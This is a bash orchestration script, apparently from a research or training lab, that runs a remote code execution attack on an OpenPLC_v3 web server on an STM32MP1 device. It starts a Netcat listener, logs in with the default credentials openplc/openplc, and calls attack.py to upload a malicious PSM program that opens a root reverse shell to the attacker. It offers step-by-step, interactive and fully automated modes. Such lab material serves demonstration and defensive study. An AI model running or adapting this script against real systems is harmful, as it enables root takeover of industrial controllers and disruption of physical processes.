#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Functions to print warning messages
YELLOW="\e[33m"
RESET="\e[0m"

function echo_warning {
    local message="$1"
    echo -e "${YELLOW}[warning] ${message}${RESET}"
}

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	done

	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')
}

# Function to start the Netcat listener
start_netcat_listener(){
	echo "[+] Starting the Netcat listener on port $NETCAT_PORT."
	konsole -e "python3 netcat.py $NETCAT_PORT $is_automated_mode $ATTACK_OUTPUT_FILE" > /dev/null 2>&1 &
	pid_konsole=$!

	sleep 2
	if ! ps -p $pid_konsole > /dev/null; then
    	echo "[!] Failed to open a new terminal with 'Konsole'. Ensure that port $NETCAT_PORT is not already in use."
		exit 1
	fi

	echo "[+] A new terminal running Netcat should now be open."
	if [ $is_automated_mode -eq 1 ]; then
		echo "{\"status\": \"netcat-started\", \"netcat_pid\": $pid_konsole}" > "$ATTACK_OUTPUT_FILE"
	fi
}

# Function to execute remote code on the OpenPLC web server by injecting and running a malicious script into OpenPLC
remote_code_execution(){
	echo "[+] Starting remote code execution on OpenPLC_v3 WebServer."
    python3 -u attack.py $target_ip_address $OPENPLC_WEBSERVER_PORT "$OPENPLC_USERNAME" "$OPENPLC_PASSWORD" $local_ip $NETCAT_PORT
    if [ $? -ne 0 ]; then
        echo "[!] Remote code execution failed."
		kill -2 $pid_konsole
        exit 1
    fi

    echo "[+] Reverse shell with root privileges should now be active on the netcat listener."
    
    echo ""
    echo_warning "Be cautious when exiting the reverse shell. Simply closing the terminal will leave the shell session active on OpenPLC. This will prevent the OpenPLC system from functioning properly. If this happens, you will need to restart OpenPLC on the target device or reboot the system to restore normal operation."
}

# Function to execute the entire attack process
run_attack(){
    start_netcat_listener

	echo ""
	remote_code_execution
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the RCE OpenPLC attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
	echo "[+] First, you need to know the IP address of the STM32MP1 where OpenPLC is hosted."
	get_attack_info

    echo ""
	echo "======== STEP 2 : Start Netcat Listener ========"
	echo ""
	echo "[+] Now, let's start a Netcat listener on port $NETCAT_PORT."
	echo "[+] The Netcat listener will be used to receive the reverse shell connection from the target device."
	echo "[+] Press ENTER to start Netcat..."
	read -n 1 wait
	start_netcat_listener

    echo ""
	echo "======== STEP 3 : Inject Payload ========"
	echo ""
    echo "[+] Now, we will upload and execute a malicious PSM program on OpenPLC webserver."
    echo "[+] Running this malicious PSM program will initiate a reverse shell connection to the Netcat listener."
    echo "[+] Press ENTER to proceed with the attack..."
	read -n 1 wait
	remote_code_execution

    echo ""
	echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
	echo "./exploit.sh -all ${target_ip_address} "
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
	get_attack_info

    echo ""
    run_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')

    case $attack_phase in
        (-a|-all)
            run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            echo "[!] This attack does not have an preparation phase."
			exit 1
            ;;
        (-e|-exploit)
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

echo "=========================================================================================== " 
echo "	 _____   _____ ______    ____                   _____  _      _____ "
echo "	|  __ \ / ____|  ____|  / __ \                 |  __ \| |    / ____|"
echo "	| |__) | |    | |__    | |  | |_ __   ___ _ __ | |__) | |   | |     "
echo "	|  _  /| |    |  __|   | |  | | '_ \ / _ \ '_ \|  ___/| |   | |     "
echo "	| | \ \| |____| |____  | |__| | |_) |  __/ | | | |    | |___| |____ "
echo ' 	|_|  \_\\_____|______|  \____/| .__/ \___|_| |_|_|    |______\_____|'
echo "	                              | |                                   "
echo "	                              |_|                                   "
echo ""
echo "=========================================================================================== " 

echo ""
echo "[+] You are about to initiate a Remote Code Execution (RCE) attack on the OpenPLC webserver!"
echo "[+] The goal of this attack is to gain a reverse shell with root privileges by executing a malicious PSM program on the OpenPLC."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
NETCAT_PORT=3550
OPENPLC_WEBSERVER_PORT=8080
OPENPLC_USERNAME="openplc"
OPENPLC_PASSWORD="openplc"

# Variables used for automated attack mode
ATTACK_OUTPUT_FILE="$SCRIPT_DIR/../tmp_attack_output.json" 
is_automated_mode=0

cd "$SCRIPT_DIR/scripts/"

# If script is executed with exactly 2 arguments, run the attack automatically with this argument
if [ $# -eq 2 ]; then
	attack_phase=$1
	target_ip_address=$2

	echo '{"status": "ongoing"}' > "$ATTACK_OUTPUT_FILE"
	is_automated_mode=1
	attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
			;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0